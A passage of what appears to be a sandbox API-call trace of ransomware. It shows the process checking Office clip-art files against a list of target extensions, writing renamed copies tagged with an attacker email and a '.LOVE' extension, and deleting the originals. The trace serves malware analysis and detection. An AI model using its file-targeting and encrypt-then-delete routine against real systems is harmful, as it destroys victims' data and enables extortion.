lpString2=".GIF") returned -1 [0206.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0206.481] lstrlenW (lpString=".1cd") returned 4 [0206.481] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0206.481] lstrlenW (lpString=".jpg") returned 4 [0206.481] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0206.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0206.481] lstrlenW (lpString=".doc") returned 4 [0206.481] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.481] lstrlenW (lpString=".docx") returned 5 [0206.481] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.481] lstrlenW (lpString=".pdf") returned 4 [0206.481] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.481] lstrlenW (lpString=".xls") returned 4 [0206.481] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.481] lstrlenW (lpString=".xlsx") returned 5 [0206.481] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.481] lstrlenW (lpString=".ppt") returned 4 [0206.481] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0206.481] lstrlenW (lpString=".zip") returned 4 [0206.481] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.481] lstrlenW (lpString=".rar") returned 4 [0206.481] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.481] lstrlenW (lpString=".bz2") returned 4 [0206.482] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.482] lstrlenW (lpString=".7z") returned 3 [0206.482] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0206.482] lstrlenW (lpString=".dbf") returned 4 [0206.482] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0206.482] lstrlenW (lpString=".1cd") returned 4 [0206.482] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0206.482] lstrlenW (lpString=".jpg") returned 4 [0206.482] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.482] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.482] lstrlenW (lpString="AG00165_.GIF") returned 12 [0206.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.489] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=8582) returned 1 [0206.489] CloseHandle (hObject=0x2f0) returned 1 [0206.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0206.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.489] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.489] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0206.491] GetLastError () returned 0x0 [0206.491] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x2186, lpOverlapped=0x0) returned 1 [0206.492] WriteFile (in: hFile=0x364, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x2190, lpOverlapped=0x0) returned 1 [0206.493] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.493] WriteFile (in: hFile=0x364, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.493] SetEndOfFile (hFile=0x364) returned 1 [0206.495] CloseHandle (hObject=0x364) returned 1 [0206.495] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.495] SetEndOfFile (hFile=0x2f0) returned 1 [0206.496] CloseHandle (hObject=0x2f0) returned 1 [0206.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0206.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0206.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0206.507] lstrlenW (lpString=".doc") returned 4 [0206.507] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.507] lstrlenW (lpString=".docx") returned 5 [0206.507] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.507] lstrlenW (lpString=".pdf") returned 4 [0206.507] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.507] lstrlenW (lpString=".xls") returned 4 [0206.507] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.507] lstrlenW (lpString=".xlsx") returned 5 [0206.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.507] lstrlenW (lpString=".ppt") returned 4 [0206.507] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0206.507] lstrlenW (lpString=".zip") returned 4 [0206.507] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.507] lstrlenW (lpString=".rar") returned 4 [0206.507] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.507] lstrlenW (lpString=".bz2") returned 4 [0206.507] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.507] lstrlenW (lpString=".7z") returned 3 [0206.507] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0206.508] lstrlenW (lpString=".dbf") returned 4 [0206.508] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0206.508] lstrlenW (lpString=".1cd") returned 4 [0206.508] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0206.508] lstrlenW (lpString=".jpg") returned 4 [0206.508] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0206.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0206.508] lstrlenW (lpString=".doc") returned 4 [0206.508] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.508] lstrlenW (lpString=".docx") returned 5 [0206.508] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.508] lstrlenW (lpString=".pdf") returned 4 [0206.508] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.508] lstrlenW (lpString=".xls") returned 4 [0206.508] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.508] lstrlenW (lpString=".xlsx") returned 5 [0206.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.508] lstrlenW (lpString=".ppt") returned 4 [0206.508] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0206.508] lstrlenW (lpString=".zip") returned 4 [0206.508] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.508] lstrlenW (lpString=".rar") returned 4 [0206.508] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.508] lstrlenW (lpString=".bz2") returned 4 [0206.508] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.508] lstrlenW (lpString=".7z") returned 3 [0206.508] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0206.508] lstrlenW (lpString=".dbf") returned 4 [0206.508] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0206.508] lstrlenW (lpString=".1cd") returned 4 [0206.508] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0206.509] lstrlenW (lpString=".jpg") returned 4 [0206.509] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.509] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.509] lstrlenW (lpString="AG00169_.GIF") returned 12 [0206.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.513] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=5375) returned 1 [0206.513] CloseHandle (hObject=0x31c) returned 1 [0206.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0206.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.513] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.514] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.517] GetLastError () returned 0x0 [0206.517] ReadFile (in: hFile=0x31c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x14ff, lpOverlapped=0x0) returned 1 [0206.545] WriteFile (in: hFile=0x354, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1500, lpOverlapped=0x0) returned 1 [0206.546] ReadFile (in: hFile=0x31c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.546] WriteFile (in: hFile=0x354, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.546] SetEndOfFile (hFile=0x354) returned 1 [0206.552] CloseHandle (hObject=0x354) returned 1 [0206.552] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.553] SetEndOfFile (hFile=0x31c) returned 1 [0206.553] CloseHandle (hObject=0x31c) returned 1 [0206.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0206.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0206.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0206.555] lstrlenW (lpString=".doc") returned 4 [0206.555] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.555] lstrlenW (lpString=".docx") returned 5 [0206.555] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.555] lstrlenW (lpString=".pdf") returned 4 [0206.555] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.555] lstrlenW (lpString=".xls") returned 4 [0206.555] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.555] lstrlenW (lpString=".xlsx") returned 5 [0206.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.555] lstrlenW (lpString=".ppt") returned 4 [0206.555] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0206.555] lstrlenW (lpString=".zip") returned 4 [0206.555] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.555] lstrlenW (lpString=".rar") returned 4 [0206.555] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.555] lstrlenW (lpString=".bz2") returned 4 [0206.555] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.555] lstrlenW (lpString=".7z") returned 3 [0206.555] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0206.555] lstrlenW (lpString=".dbf") returned 4 [0206.555] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0206.556] lstrlenW (lpString=".1cd") returned 4 [0206.556] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0206.556] lstrlenW (lpString=".jpg") returned 4 [0206.556] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0206.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0206.556] lstrlenW (lpString=".doc") returned 4 [0206.556] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.556] lstrlenW (lpString=".docx") returned 5 [0206.556] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.556] lstrlenW (lpString=".pdf") returned 4 [0206.556] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.556] lstrlenW (lpString=".xls") returned 4 [0206.556] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.556] lstrlenW (lpString=".xlsx") returned 5 [0206.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.556] lstrlenW (lpString=".ppt") returned 4 [0206.556] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0206.556] lstrlenW (lpString=".zip") returned 4 [0206.556] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.556] lstrlenW (lpString=".rar") returned 4 [0206.556] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.556] lstrlenW (lpString=".bz2") returned 4 [0206.556] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.556] lstrlenW (lpString=".7z") returned 3 [0206.556] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0206.556] lstrlenW (lpString=".dbf") returned 4 [0206.556] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0206.556] lstrlenW (lpString=".1cd") returned 4 [0206.556] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0206.556] lstrlenW (lpString=".jpg") returned 4 [0206.556] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.557] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.557] lstrlenW (lpString="AG00174_.GIF") returned 12 [0206.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.561] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=3966) returned 1 [0206.561] CloseHandle (hObject=0x2f0) returned 1 [0206.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0206.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.561] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.561] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0206.563] GetLastError () returned 0x0 [0206.563] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xf7e, lpOverlapped=0x0) returned 1 [0206.724] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xf80, lpOverlapped=0x0) returned 1 [0207.002] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.003] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.003] SetEndOfFile (hFile=0x330) returned 1 [0207.003] CloseHandle (hObject=0x330) returned 1 [0207.004] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.004] SetEndOfFile (hFile=0x2f0) returned 1 [0207.005] CloseHandle (hObject=0x2f0) returned 1 [0207.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0207.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0207.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0207.006] lstrlenW (lpString=".doc") returned 4 [0207.006] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0207.006] lstrlenW (lpString=".docx") returned 5 [0207.006] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0207.006] lstrlenW (lpString=".pdf") returned 4 [0207.006] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0207.006] lstrlenW (lpString=".xls") returned 4 [0207.006] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0207.006] lstrlenW (lpString=".xlsx") returned 5 [0207.006] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0207.006] lstrlenW (lpString=".ppt") returned 4 [0207.006] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0207.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0207.006] lstrlenW (lpString=".zip") returned 4 [0207.006] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0207.006] lstrlenW (lpString=".rar") returned 4 [0207.006] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0207.006] lstrlenW (lpString=".bz2") returned 4 [0207.006] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0207.006] lstrlenW (lpString=".7z") returned 3 [0207.006] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0207.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0207.006] lstrlenW (lpString=".dbf") returned 4 [0207.006] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0207.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0207.006] lstrlenW (lpString=".1cd") returned 4 [0207.006] lstrcmpiW 